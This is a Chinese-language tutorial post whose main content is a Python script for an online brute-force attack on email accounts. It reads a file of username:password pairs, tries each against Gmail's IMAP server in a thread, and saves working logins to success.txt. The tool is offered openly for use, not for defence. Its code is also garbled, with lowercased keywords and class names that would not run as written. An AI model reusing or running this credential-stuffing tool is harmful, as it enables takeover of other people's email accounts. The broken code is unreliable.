本文实例讲述了python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic 字典格式如下(mail.txt) :
username@gmail.com:password username@gmail.com:password username@gmail.com:password
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
支持ssl https /imap协议。
# version 3.4.0 # coding='utf-8' # time='2014-09-16' import _dummy_thread import imaplib import threading # global variant global_string_gmail_account_pwd_array = [] global_string_gmail_account_pwd_array_num = 0 global_string_gmail_imap4_server = 'imap.gmail.com' global_int_gmail_imap4_server_port = 143 global_int_gmail_imap4_ssl_port = 993 global_working_thread_mutex_lock = _dummy_thread.allocate_lock() global_array_buffer_max_lines = 1000 gmail_bytes_readed_total_size = 0 global_gmail_current_position_total_lines = 0 global_read_finish_status_success = false # define global function def write_save_success_gmail_jobs(indexsuccess): success_file = open('success.txt', 'a') success_file.write(global_string_gmail_account_pwd_array[indexsuccess]) success_file.close() def write_save_fail_gmail_jobs(indexfail): fail_file = open('fail.txt', 'a') fail_file.write(global_string_gmail_account_pwd_array[indexfail]) fail_file.close() # define global function def get_parser_account_pwd(index): straccountpwd = global_string_gmail_account_pwd_array[index] strusername, strpassword = straccountpwd.split(':', 1) return strusername, strpassword # define global function def veritifying_gmail_imap_account_pwd(indexgmail): global global_working_thread_mutex_lock global global_gmail_current_position_total_lines if ((indexgmail >= 0) and (indexgmail < global_string_gmail_account_pwd_array_num)) == true: global_working_thread_mutex_lock.acquire() global_gmail_current_position_total_lines += 1 print('position---------', global_gmail_current_position_total_lines) print('imap index-------', indexgmail) print('imap username----', global_string_gmail_account_pwd_array[indexgmail]) write_save_fail_gmail_jobs(indexgmail) # global_working_thread_mutex_lock.release() print(global_string_gmail_account_pwd_array[indexgmail]) gmailimap4 = imaplib.imap4_ssl(global_string_gmail_imap4_server, global_int_gmail_imap4_ssl_port) gmailimap4.port = global_int_gmail_imap4_server_port # 143 stringgmailusername, stringgmailpassword = get_parser_account_pwd(indexgmail) try: responsestatus = gmailimap4.login(stringgmailusername, stringgmailpassword) except gmailimap4.error : print('logical errors - debug required') write_save_fail_gmail_jobs(indexgmail) global_working_thread_mutex_lock.release() return except gmailimap4.abort : print('service errors - close and retry') gmailimap4.close() write_save_fail_gmail_jobs(indexgmail) global_working_thread_mutex_lock.release() return except gmailimap4.readonly: print('mailbox status changed to read only') gmailimap4.close() write_save_fail_gmail_jobs(indexgmail) global_working_thread_mutex_lock.release() return if (responsestatus[0] == 'ok'): print('login success') write_save_success_gmail_jobs(indexgmail) gmailimap4.logout() global_working_thread_mutex_lock.release() else: gmailimap4.close() print('login fail') print(responsestatus) write_save_fail_gmail_jobs(indexgmail) global_working_thread_mutex_lock.release() else: return # define global function class working_zone_thread(threading.thread): m_indexstart = 0 m_indexend = 0 def __init__(self, numend): self.m_indexend = numend threading.thread.__init__(self) def run(self): # run process while true: if self.m_indexstart < self.m_indexend: veritifying_gmail_imap_account_pwd(self.m_indexstart) self.m_indexstart = self.m_indexstart + 1 else: break def _delete(self): threading.thread._delete(self) print('thread delete is : ', self.getname()) # define read function def read_send_single_func(): indexstart = 0 print('--------read----star--') global global_string_gmail_account_pwd_array_num global gmail_bytes_readed_total_size global global_string_gmail_account_pwd_array file_read = open('mail.txt', 'r', encoding='utf-8') file_read.seek(gmail_bytes_readed_total_size, 0) # seek while indexstart < global_array_buffer_max_lines: line = file_read.readline() if line: global_string_gmail_account_pwd_array.append(line) cbbytes = line.__len__() gmail_bytes_readed_total_size += cbbytes global_string_gmail_account_pwd_array_num += 1 indexstart = indexstart + 1 else: global_read_finish_status_success = true break print('gmail read num ', indexstart) file_read.close() print('---------read----end--') # main entry if __name__ == '__main__': print('main thread start : ') while true: if global_read_finish_status_success != true: read_send_single_func() wzt = working_zone_thread(global_string_gmail_account_pwd_array_num) wzt.start() wzt.join() global_string_gmail_account_pwd_array_num = 0 global_string_gmail_account_pwd_array.clear() else: print('data has run out : ') break print('main thread end : ')
以上就是python实现破解邮箱账号密码的实例的详细内容。